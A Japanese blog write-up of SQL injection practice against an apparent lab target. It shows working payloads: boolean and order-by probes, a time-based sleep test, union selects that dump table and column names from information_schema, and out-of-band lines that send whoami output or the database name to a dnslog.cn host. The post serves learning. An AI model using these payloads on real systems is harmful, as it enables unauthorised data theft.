x010

x010

厚积薄发

sqlインジェクションのまとめ

ターゲットフィールド編#

ページを開くと、明らかに注入ポイントが見つかります
image.png
そのテストを行うと、and 1=1 でページが正常に表示され、and 1=2 の場合はページが異常になることがわかりました
数字型である可能性があります
数字型は引用符を閉じる必要がなく、文字型を構築する際には引用符の閉じを注意する必要があります
image.png
order by 3 でページがエラーを返し、現在のデータベースには 2 つの列が存在することがわかりました。また、データベースにはエコーがないこともわかりました
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
if 文と exists 関数を使用して、information_schema.tables というテーブルが存在するかどうかを確認します
存在すれば 10 秒遅延します
存在しなければ数値 1 を返します。この 1 は if 文の中で真を表し、結果に影響を与えません
簡単に言うと、information_schema.tables というテーブルが存在すれば 10 秒遅延し、存在しなければページは正常に実行され、遅延はありません
image.png

Linux システムでping \whoami`.i0f4xk.dnslog.cnを実行すると、whoamiがバッククォートで囲まれているため、最初に<br />whoamiコマンドが実行されます。同様に、ping $(whoami).i0f4xk.dnslog.cnも上記のコードと同じ効果があります<br />しかし、dnsの前にwhoamiを直接追加すると、コマンドは出力されません<br />同様に、Windowsでは、ping % username%..i0f4xk.dnslog.cn` を使用してもコマンドを実行できます g

私は DNS のワイルドカード解決の原理についてまだ理解が不十分です。詳しく説明してくれる方がいれば嬉しいです。

?id=1 union select 1,load_file(concat("\\\\",(select database()),".eoumbx.dnslog.cn\\abc")) --+
ページは正常ですが、dnslog のワイルドカード解決に失敗しました

dnslog が外部に持ち出せないことに気づき、行き詰まっていたところ、?id=1 and 1=2 union select 1,2 にエコーがあることに気づき、突然明るくなりました(スタークラフトのプレイヤーは見つけるのが難しいと感じています。。。。)
image.pngそれで、直接?id=1 and 1=2 union select 1,database()を使って現在のテーブル名が maoshe であることを確認しました
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

information_schema は特別なデータベースで、SQL 標準で定義されており、データベースのメタデータを格納するために使用されます。これには、データベース、テーブル、列、制約、権限などの情報が含まれます。

table_schemainformation_schema.tablesでデータベースのテーブル名を照会する関数です
columns_nameinformation_schema.columnsでデータベースの列名を照会する関数です

image.png
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database() and table_name ="admin" limit 0,1を使って、admin テーブルに id、username、password 列があることを確認しました

information_schema.columnscolumn_name列を照会することで、admin テーブルの列名を取得できます
テーブル名が現在のテーブル名と同じ場合、andを使用して論理積を行い、table_name= "admin"、つまり前のステップで照会した admin のみが表示されます
limitパラメータは結果をオフセットするために使用されます。エコーが 1 つだけなので、limit x,yを使用して調整します
x 番目から y 個を出力します

image.png
テーブル名と列名がわかれば、データの出力は非常に簡単です

インターネットでの情報検索を通じて、group_concat()関数を利用して大量のデータを出力できることがわかりました
例えば、?id=1 and 1=2 union select 5,group_concat(table_name) from information_schema.tablesは、table_nameのすべてのデータを出力できます!image.png
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
image.png

次に、SQL インジェクションの考え方について簡単に説明します

  1. 注入ポイントを見つける必要があります
  2. 判定を行い、文字型か数字型かを判断します。文字型は適切に引用符を閉じる必要がありますが、数字型は必要ありません
  3. order byを使用してフィールド数を判断します(後のエコーポイントの利用を容易にするため)
  4. 結合エラーチェックを通じてエコーポイントを判断します(エコーがない場合は盲目的な注入を行うしかありません)
  5. information_schema.tablestable_nameを使用してテーブル名を照会します(単一の照会にはlimitを利用することも、group_concatを使用することもできます)
  6. information_schema.columnscolumn_nameを使用して列名を照会します
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。